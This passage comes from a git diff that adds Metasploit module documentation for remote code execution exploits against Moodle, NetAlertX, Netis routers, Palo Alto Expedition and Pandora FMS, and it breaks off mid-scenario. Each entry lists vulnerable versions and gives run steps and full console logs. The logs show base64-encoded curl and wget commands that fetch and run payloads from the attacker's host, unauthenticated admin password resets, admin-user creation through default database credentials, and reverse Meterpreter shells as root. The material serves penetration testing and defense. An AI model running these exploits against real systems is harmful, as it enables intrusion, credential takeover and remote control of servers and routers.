exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141 +RHOSTS => 192.168.217.141 +msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128 +LHOST => 192.168.217.128 +msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit +[*] Started reverse TCP handler on 192.168.217.128:4444 +[*] Obtaining MoodleSession and logintoken... +[+] Server reachable. +[*] Authenticating as testuser... +[*] Successfully authenticated. +[*] Obtaining sesskey, courseContextId, and category... +[*] Injecting command... +[*] Sending stage (3045380 bytes) to 192.168.217.141 +[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400 +[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server. +[*] Exploit completed, but no session was created. +msf6 exploit(linux/http/moodle_rce) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : 192.168.217.141 +OS : Ubuntu 24.04 (Linux 6.8.0-41-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +meterpreter > getuid +Server username: www-data +``` diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md new file mode 100644 index 000000000000..4c7b8a990279 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +An attacker can update NetAlertX settings with no authentication, which results in RCE. + +The vulnerability affects: + + * v23.01.14 <= NetAlertX <= v24.9.12 + +This module was successfully tested on: + + * NetAlertX v24.9.12 installed with Docker on Ubuntu 22.04 + + +### Installation + +1. `docker pull jokobsk/netalertx:24.9.12` + +2. docker run +```bash +docker run --rm --network=host \ + -v /tmp/netalertx:/app/config \ + -v /tmp/netalertx:/app/db \ + -e TZ=Europe/Berlin \ + -e PORT=20211 \ + jokobsk/netalertx:24.9.12 +``` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/netalertx_rce_cve_2024_46506` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options +### WAIT (required) +Wait time (seconds) for the payload to be set. Default is `75`. + +### CLEANUP +Restore DBCLNP_CMD to original value after execution. Default is `true`. + + +## Scenarios +``` +msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options + +Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CLEANUP true no Restore DBCLNP_CMD to original value after execution + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 20211 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + WAIT 75 yes Wait time (seconds) for the payload to be set + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME GXIuXvsu no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST 192.168.0.12 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 24.9.12 detected. +[*] Sent request to update DBCLNP_CMD to '/bin/bash -c echo${IFS}Y3VybCAtc28gLi9QWHhyY3hFRCBodHRwOi8vMTkyLjE2OC41Ni4xOjgwODAvRy04Zjhua29IMGRUWkdQc052UzIzZztjaG1vZCAreCAuL1BYeHJjeEVEOy4vUFh4cmN4RUQmc2xlZXAgNztybSAtcmYgLi9QWHhyY3hFRA==|base64${IFS}-d|/bin/bash'. +[*] Waiting settings really updated... +[*] Sending stage (3045380 bytes) to 192.168.56.17 +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:57510) at 2025-02-10 21:57:30 +0900 +[*] Added the payload to the queue. Waiting for the payload to run... +[*] Sent request to update DBCLNP_CMD to 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}'. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.56.17 +OS : (Linux 6.8.0-51-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md new file mode 100644 index 000000000000..36d5fdf8cad3 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md @@ -0,0 +1,289 @@ +## Vulnerable Application +Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection vulnerability at the change +password page of the router web interface (see [CVE-2024-48456](https://www.cve.org/CVERecord?id=CVE-2024-48456) for more details). +The vulnerability stems from improper handling of the password and new password parameter within the router's web interface. +Attackers can inject a command in the password or new password parameter, encoded in base64, to exploit the command injection +vulnerability. +When exploited, this can lead to command execution, potentially allowing the attacker to take full control of the router. +An attacker needs to be authenticated to initiate this RCE, however [CVE-2024-48457](https://www.cve.org/CVERecord?id=CVE-2024-48457) +allows an unauthenticated attacker to reset the Wifi and router password, hence gaining full root access to the router to execute +the RCE. + +Last but not least, [CVE-2024-48455](https://www.cve.org/CVERecord?id=CVE-2024-48455) allows for unauthenticated information disclosure +revealing sensitive configuration information of the router which can be used by the attacker to determine if the router is running +specific vulnerable firmware. + +The following router firmware versions are vulnerable: + +- [x] netis_MW5360_V1.0.1.3031_fw.bin +- [x] Netis_MW5360-1.0.1.3442.bin +- [x] Netis_MW5360_RUSSIA_844.bin +- [x] netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40) +- [x] netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35) +- [x] netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35) +- [x] Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35) +- [x] netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin +- [x] netis_NC65_V3.0.0.3749.bin +- [x] Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34) +- [x] Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34) +- [x] netis_NX10_V2.0.1.3582_fw.bin +- [x] netis_NX10_V2.0.1.3643.bin +- [x] Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33) +- [x] netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33) +- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin +- [x] netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin +- [x] Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40) +- [x] GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6) + +and potentially others... + +## Installation +Ideally, to test this module, you would need a vulnerable Netis Router device. +However, by downloading the firmware and install and use `FirmAE` to emulate the router, +we can simulate the router and test the vulnerable endpoint. + +### Installation steps to emulate the router firmware with FirmAE +* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). +* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem. +* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). +* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. +* Download the vulnerable firmware from Netis or from one of the other brands like GLCtec or Stonet. +* We will pick `GLC_ALPHA_AC3-V3.0.2.115.bin` for the demonstration. +* Start emulation. +* First run `./init.sh` to initialize and start the Postgress database. +* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin` +* This will take a while, but in the end you should see the following... +```shell + # ./run.sh -d netis /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin +[*] /root/FirmAE/firmwares/GLC_ALPHA_AC3-V3.0.2.115.bin emulation start!!! +[*] extract done!!! +[*] get architecture done!!! +mke2fs 1.47.0 (5-Feb-2023) +e2fsck 1.47.0 (5-Feb-2023) +[*] infer network start!!! +[IID] 15 +[MODE] debug +[+] Network reachable on 192.168.1.254! +[+] Web service on 192.168.1.254 +[+] Run debug! +Creating TAP device tap15_0... +Set 'tap15_0' persistent and owned by uid 0 +Bringing up TAP device... +Starting emulation of firmware... 192.168.1.254 true true 79.316641060 186.772281412 +/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 + import telnetlib +[*] firmware - GLC_ALPHA_AC3-V3.0.2.115 +[*] IP - 192.168.1.254 +[*] connecting to netcat (192.168.1.254:31337) +[+] netcat connected +------------------------------ +| FirmAE Debugger | +------------------------------ +1. connect to socat +2. connect to shell +3. tcpdump +4. run gdbserver +5. file transfer +6. exit +``` +* check if you can `ping` the emulated router and run `nmap` to check the ports +```shell + # ping 192.168.1.254 +PING 192.168.1.254 (192.168.1.254) 56(84) bytes of data. +64 bytes from 192.168.1.254: icmp_seq=1 ttl=64 time=11.7 ms +64 bytes from 192.168.1.254: icmp_seq=2 ttl=64 time=4.93 ms +64 bytes from 192.168.1.254: icmp_seq=3 ttl=64 time=1.30 ms +^C +--- 192.168.1.254 ping statistics --- +3 packets transmitted, 3 received, 0% packet loss, time 2003ms +rtt min/avg/max/mdev = 1.297/5.979/11.713/4.316 ms + # nmap 192.168.1.254 +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-29 19:39 UTC +Nmap scan report for 192.168.1.254 +Host is up (0.020s latency). +Not shown: 996 closed tcp ports (reset) +PORT STATE SERVICE +22/tcp open ssh +53/tcp open domain +80/tcp open http +443/tcp open https +MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor) + +Nmap done: 1 IP address (1 host up) scanned in 1.19 seconds +``` +You are now ready to test the module using the emulated router hardware on IP address 192.168.1.254 + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457` +- [x] `set rhosts ` +- [x] `set lhost ` +- [x] `set target <0=Linux Dropper>` +- [x] `exploit` + +you should get a `Meterpreter` session. + +```msf +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info + + Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457). + Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457 + Platform: Linux + Arch: mipsle + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-12-27 + +Provided by: + h00die-gr3y + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.1.254 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic + s/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The Netis router endpoint URL + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the + local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 1981 yes The local port to listen on. + +Payload information: + +Description: + Several Netis Routers including rebranded routers from GLCtec and Stonet suffer from a command injection + vulnerability at the change admin password page of the router web interface (see CVE-2024-48456 for more details). + The vulnerability stems from improper handling of the 'password' and 'new password' parameter within the + router's web interface. Attackers can inject a command in the 'password' or 'new password' parameter, + encoded in base64, to exploit the command injection vulnerability. When exploited, this can lead to + command execution, potentially allowing the attacker to take full control of the router. + An attacker needs to be authenticated to initiate this RCE, however CVE-2024-48457 allows an unauthenticated + attacker to reset the Wifi and router password, hence gaining full admin access to the router to execute the RCE. + + Last but not least, CVE-2024-48455 allows for unauthenticated information disclosure revealing sensitive configuration + information of the router which can be used by the attacker to determine if the router is running specific vulnerable + firmware. + + The following router firmware versions are vulnerable: + * netis_MW5360_V1.0.1.3031_fw.bin + * Netis_MW5360-1.0.1.3442.bin + * Netis_MW5360_RUSSIA_844.bin + * netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40) + * netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35) + * netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35) + * Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35) + * netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin + * netis_NC65_V3.0.0.3749.bin + * Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34) + * Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34) + * netis_NX10_V2.0.1.3582_fw.bin + * netis_NX10_V2.0.1.3643.bin + * Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33) + * netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33) + * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin + * netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin + * Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40) + * GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6) + * potentially others... + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-48455 + https://nvd.nist.gov/vuln/detail/CVE-2024-48456 + https://nvd.nist.gov/vuln/detail/CVE-2024-48457 + https://github.com/users/h00die-gr3y/projects/1 + +View the full module info with the info -d command. +``` +## Options +### CMD_DELAY +Chained command lines using `;` do not work, so each command need to be executed in a separate request +with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option. + +## Scenarios +### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp +```msf +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit +[*] Reloading module... +[*] Started reverse TCP handler on 192.168.1.253:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.1.254:80 can be exploited. +[+] The target appears to be vulnerable. GLC(ALPHA-AC3)-V3.0.2.115 +[*] Resetting router password for authentication. +[*] Logging in with the new router password 4vNcez42D to get the password cookie. +[*] Saving router credentials (root) at the msf database. +[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp +[*] Using URL: http://192.168.1.253:1981/ZhIplAe6jD9O7J +[*] Executing wget -qO /tmp/hMvelDeE http://192.168.1.253:1981/ZhIplAe6jD9O7J +[*] Client 192.168.1.254 (Wget) requested /ZhIplAe6jD9O7J +[*] Sending payload to 192.168.1.254 (Wget) +[*] Command Stager progress - 53.85% done (63/117 bytes) +[*] Executing chmod +x /tmp/hMvelDeE +[*] Command Stager progress - 72.65% done (85/117 bytes) +[*] Executing /tmp/hMvelDeE +[+] Deleted /tmp/hMvelDeE +[*] Meterpreter session 7 opened (192.168.1.253:4444 -> 192.168.1.254:54551) at 2024-12-29 11:28:49 +0000 +[*] Command Stager progress - 83.76% done (98/117 bytes) +[*] Command Stager progress - 100.00% done (117/117 bytes) +[*] Server stopped. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.1.254 +OS : (Linux 3.10.90) +Architecture : mips +BuildTuple : mipsel-linux-muslsf +Meterpreter : mipsle/linux +meterpreter > pwd +/etc/boa +meterpreter > ls +Listing: /etc/boa +================= + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf +100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types + +meterpreter > +``` +## Limitations +Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target. +Another limitation is that the router has a very limited command set that can be leveraged, +so the only option is to use the `wget` command to drop an executable on the target to get a session. +Chained command lines using `;` do not work, so each command need to be executed in a separate request +with a delay of 30 seconds or more to avoid session locking (see the `CMD_DELAY` option). + +Last but not least, be mindful that the admin router password gets overwritten by the exploit, +resulting in a clear indicator of compromise. diff --git a/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md b/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md new file mode 100644 index 000000000000..58fe156ad14a --- /dev/null +++ b/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md @@ -0,0 +1,113 @@ +## Vulnerable Application + +This module exploits two vulnerabilities in Palo Alto Expedition to obtain a remote shell. The first vulnerability, CVE-2024-5910, allows to +reset the password of the admin user. The second vulnerability, CVE-2024-9464, is an authenticated OS command injection. + +When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will +first try to reset the admin password and then perform the OS command injection. In a default installation, commands will get executed in +the context of www-data. + +Note: If no credentials are available, the module will attempt to reset the admin password. For this, the parameter RESET_ADMIN_PASSWD must +explicitly be set to true. + +## Testing + +The software can be obtained from +[the vendor](https://live.paloaltonetworks.com/t5/expedition/ct-p/migration_tool). + +Installation instructions are available [here] +(https://live.paloaltonetworks.com/t5/expedition-articles/expedition-documentation/ta-p/215619?attachment-id=13781). + +**Successfully tested on** + +- Expedition v1.2.91 on Ubuntu Server 20.04.1. + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf6 > msf6 > use exploit/linux/http/paloalto_expedition_rce +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(linux/http/paloalto_expedition_rce) > set RHOSTS +msf6 exploit(linux/http/paloalto_expedition_rce) > exploit +``` + +You should get a meterpreter session in the context of `www-data`. + +## Options + +### USERNAME +Username for authentication, if available. + +### PASSWORD +Password for the associated user. +### WRITABLE_DIR +A writable location for the exploit to stage the command payload. + +### RESET_ADMIN_PASSWD +If the username and password are not specified, the module will attempt to reset the admin password to the default password `paloalto`. This +is also done to authenticate and retrieve the exact version information, in case no credentials have been provided. As this alters the +configuration of the target system, the `RESET_ADMIN_PASSWD` parameter serves as a safeguard that must explicility set to true before the +reset endpoint is being invoked. + +## Scenarios + +Running the exploit against Expedition v1.2.91 on Ubuntu Server 20.04.1, using curl or wget as a fetch command, should result in an output +similar to the following: + +``` +msf6 exploit(linux/http/paloalto_expedition_rce) > exploit + +[*] Command to run on remote host: curl -so /tmp/zRe http://192.168.137.204:8080/qv_gAdz7yjcgH-ohM3GesA; chmod +x /tmp/zRe; /tmp/zRe & +[*] Fetch handler listening on 192.168.137.204:8080 +[*] HTTP server started +[*] Adding resource /qv_gAdz7yjcgH-ohM3GesA +[*] Started reverse TCP handler on 192.168.137.204:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Admin password successfully restored to default value paloalto (CVE-2024-5910). +[+] Successfully authenticated +[*] Got csrftoken: MTczMTM4MjY0NUNRV0RkNXBXR3Vic2hkR1ZZTHBSQTd1cWY5MjVWYWIw +[*] Version retrieved: 1.2.91 +[+] The target appears to be vulnerable. +[*] Command chunk size = 30 +[+] Successfully authenticated +[*] Got csrftoken: MTczMTM4MjY0NnpDVDRUcXdDRWhvZ09HWDNnMFdHUW81cXU2aHppTEdE +[*] Adding a new cronjob... +[*] Staging chunk 1 of 9 +[*] Running command: echo -n "echo Y3VybCAtc28gL3RtcC96UmUga" > /tmp/fglGT +[*] Staging chunk 2 of 9 +[*] Running command: echo -n "HR0cDovLzE5Mi4xNjguMTM3LjIwNDo" >> /tmp/fglGT +[*] Staging chunk 3 of 9 +[*] Running command: echo -n "4MDgwL3F2X2dBZHo3eWpjZ0gtb2hNM" >> /tmp/fglGT +[*] Staging chunk 4 of 9 +[*] Running command: echo -n "0dlc0E7IGNobW9kICt4IC90bXAvelJ" >> /tmp/fglGT +[*] Staging chunk 5 of 9 +[*] Running command: echo -n "lOyAvdG1wL3pSZSAm|((command -v" >> /tmp/fglGT +[*] Staging chunk 6 of 9 +[*] Running command: echo -n " base64 >/dev/null && (base64 " >> /tmp/fglGT +[*] Staging chunk 7 of 9 +[*] Running command: echo -n "--decode || base64 -d)) || (co" >> /tmp/fglGT +[*] Staging chunk 8 of 9 +[*] Running command: echo -n "mmand -v openssl >/dev/null &&" >> /tmp/fglGT +[*] Staging chunk 9 of 9 +[*] Running command: echo -n " openssl enc -base64 -d))|sh" >> /tmp/fglGT +[+] Command staged; command execution requires a timeout and will take a few seconds. +[*] Running command: cat /tmp/fglGT | sh && rm /tmp/fglGT +[*] Client 192.168.137.205 requested /qv_gAdz7yjcgH-ohM3GesA +[*] Sending payload to 192.168.137.205 (curl/7.68.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.137.205 +[*] Meterpreter session 10 opened (192.168.137.204:4444 -> 192.168.137.205:58030) at 2024-11-11 22:37:40 -0500 +[*] Check thy shell. + +meterpreter > sysinfo +Computer : 192.168.137.205 +OS : Ubuntu 20.04 (Linux 5.4.0-42-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > getuid +Server username: www-data +``` diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md new file mode 100644 index 000000000000..62090f359593 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md @@ -0,0 +1,210 @@ +## Vulnerable Application +Pandora FMS is a monitoring solution that provides full observability for your organization's technology. +This module exploits an command injection vulnerability in the LDAP authentication mechanism of Pandora FMS. +You need have admin access at the Pandora FMS Web application in order to execute this RCE. +This access can be achieved leveraging a default password vulnerability in Pandora FMS that allows an attacker +to access the Pandora FMS MySQL database, create a new admin user and gain administrative access to the +Pandora FMS Web application. +This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world. +This issue affects Community, Free and Enterprise editions: from `v7.0NG.718` through <= `v7.0NG.777.4` + +The following releases were tested. + +**Pandora FMS Releases:** +* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04) +* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04) + +## Installation steps to install Pandora FMS Community, Free or Enterprise Editions +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download [Pandora FMS iso](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/). +* Install the iso image in your virtualization engine. +* When installed, configure the VM appliance to your needs using the menu options. +* Boot up the VM and should be able to access the Pandora FMS appliance either thru the console, `ssh` on port `22` +* or via the `webui` via `http://your_ip/pandora_console/index.php`. + +* Note: from version `v7.0NG.760` follow the installation manual below: +* [Non ISO installation](https://pandorafms.com/manual/!current/en/documentation/pandorafms/installation/01_installing). + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/linux/http/pandora_fms_auth_rce_cve_2024_11320` +- [ ] `set rhosts ` +- [ ] `set rport ` +- [ ] `set lhost ` +- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>` +- [ ] `exploit` +- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings + +## Options + +### USERNAME +This option is optional and is the username (default: admin) to authenticate with the Pandora FMS application. + +### PASSWORD +This option is optional and is the password (default: pandora) in plain text to authenticate with the Pandora FMS application. + +### DB_USER +This option is required and is the username (default: pandora) to authenticate with the Pandora FMS MySQL database. + +### DB_PASSWORD +This option is required and is the password (default: Pandor4!) in plain text to authenticate with the Pandora FMS MySQL database. +Note: In older versions, this password is set to `pandora` during installation of the application. + +### DB_PORT +This option is required and is the MySQL database port (default: 3306) to connect to the database. + +## Scenarios +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info + + Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password + Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320 + Platform: Unix, Linux, PHP + Arch: cmd, php + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-11-21 + +Provided by: + h00die-gr3y + Askar mhaskar + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 PHP Command + 1 Unix/Linux Command + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + DB_NAME pandora yes Pandora database + DB_PASSWORD Pandor4! yes Pandora database admin password + DB_PORT 3306 yes MySQL database port + DB_USER pandora yes Pandora database admin user + PASSWORD pandora no Pandora web admin password + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usin + g-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /pandora_console yes Path to the Pandora FMS application + USERNAME admin no Pandora web admin user + VHOST no HTTP server virtual host + +Payload information: + +Description: + Pandora FMS is a monitoring solution that provides full observability for your organization's + technology. This module exploits an command injection vulnerability in the LDAP authentication + mechanism of Pandora FMS. + You need have admin access at the Pandora FMS Web application in order to execute this RCE. + This access can be achieved leveraging a default password vulnerability in Pandora FMS that + allows an attacker to access the Pandora FMS MySQL database, create a new admin user and gain + administrative access to the Pandora FMS Web application. This attack can be remotely executed + over the WAN as long as the MySQL services are exposed to the outside world. + This issue affects Community, Free and Enterprise editions: from v7.0NG.718 through <= v7.0NG.777.4 + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-11320 + https://pandorafms.com/en/security/common-vulnerabilities-and-exposures/ + https://attackerkb.com/topics/CsDUaLijbT/cve-2024-11320 + +View the full module info with the info -d command. +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - PHP Command target +Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application +to gain the privileges for the RCE. +```msf +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx +password => xxx +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 +[*] Trying to log in with admin credentials admin:xxx at the Pandora FMS Web application. +[*] Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server. +[*] Creating new admin user with credentials cnrjq:jeQsinXxfe for access at the Pandora FMS Web application. +[*] Trying to log in with new admin credentials cnrjq:jeQsinXxfe at the Pandora FMS Web application. +[*] Succesfully authenticated at the Pandora FMS Web application. +[*] Saving admin credentials at the msf database. +[*] Executing PHP Command for php/meterpreter/reverse_tcp +[*] Sending stage (40004 bytes) to 192.168.201.6 +[*] Meterpreter session 28 opened (192.168.201.8:4444 -> 192.168.201.6:59242) at 2024-12-22 10:35:05 +0000 +[+] Payload is successful removed from LDAP configuration. + +meterpreter > sysinfo +Computer : cuckoo +OS : Linux cuckoo 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data +meterpreter > pwd +/var/www/html/pandora_console +meterpreter > +``` +### Pandora FMS v7.0NG.777 on Ubuntu 22.04 - Unix/Linux Command target +Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application +to gain the privileges for the RCE. +```msf +msf6 